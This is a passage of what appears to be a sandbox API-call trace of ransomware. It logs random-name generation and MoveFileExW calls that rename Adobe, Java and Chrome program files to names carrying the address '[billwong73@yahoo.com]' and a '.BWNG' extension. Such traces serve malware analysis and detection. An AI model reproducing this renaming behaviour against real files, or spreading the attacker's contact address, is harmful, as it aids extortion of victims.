lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.741] GetTickCount () returned 0x1162db5 [0108.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25069301420) returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0108.741] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.741] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\[billwong73@yahoo.com].2Tv9VGcd-UhFPivos.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\[billwong73@yahoo.com].2tv9vgcd-uhfpivos.bwng"), dwFlags=0x1) returned 1 [0108.742] GetTickCount () returned 0x1162db5 [0108.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25069471500) returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0108.743] GetTickCount () returned 0x1162db5 [0108.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25069504186) returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0108.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0108.743] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemiitalic.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].6GyfvgIx-m77DYIr4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].6gyfvgix-m77dyir4.bwng"), dwFlags=0x1) returned 1 [0108.744] GetTickCount () returned 0x1162db5 [0108.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25069656478) returned 1 [0108.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0108.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0108.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0108.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.745] GetTickCount () returned 0x1162db5 [0108.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25069688730) returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.745] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].N8rdnkpk-ZvekdqmT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].n8rdnkpk-zvekdqmt.bwng"), dwFlags=0x1) returned 1 [0108.750] GetTickCount () returned 0x1162dc5 [0108.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25070196054) returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.750] GetTickCount () returned 0x1162dc5 [0108.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25070230418) returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0108.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0108.750] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\[billwong73@yahoo.com].E61osgcL-TYMXBxGa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\[billwong73@yahoo.com].e61osgcl-tymxbxga.bwng"), dwFlags=0x1) returned 1 [0108.752] GetTickCount () returned 0x1162dc5 [0108.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25070376648) returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0108.752] GetTickCount () returned 0x1162dc5 [0108.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25070408353) returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0108.752] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\management.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\[billwong73@yahoo.com].ONcSfD5b-9CHNSTmk.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\[billwong73@yahoo.com].oncsfd5b-9chnstmk.bwng"), dwFlags=0x1) returned 1 [0108.753] GetTickCount () returned 0x1162dc5 [0108.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25070561452) returned 1 [0108.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0108.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0108.754] GetTickCount () returned 0x1162dc5 [0108.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25070594571) returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0108.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0108.754] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].GgTzAB6X-PYWr9FZl.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ggtzab6x-pywr9fzl.bwng"), dwFlags=0x1) returned 1 [0108.755] GetTickCount () returned 0x1162dc5 [0108.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25070731514) returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0108.755] GetTickCount () returned 0x1162dc5 [0108.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25070764196) returned 1 [0108.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0108.756] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\[billwong73@yahoo.com].juLVD7xu-6fkLEixT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\[billwong73@yahoo.com].julvd7xu-6fkleixt.bwng"), dwFlags=0x1) returned 1 [0108.757] GetTickCount () returned 0x1162dc5 [0108.757] QueryPerformanceCounter 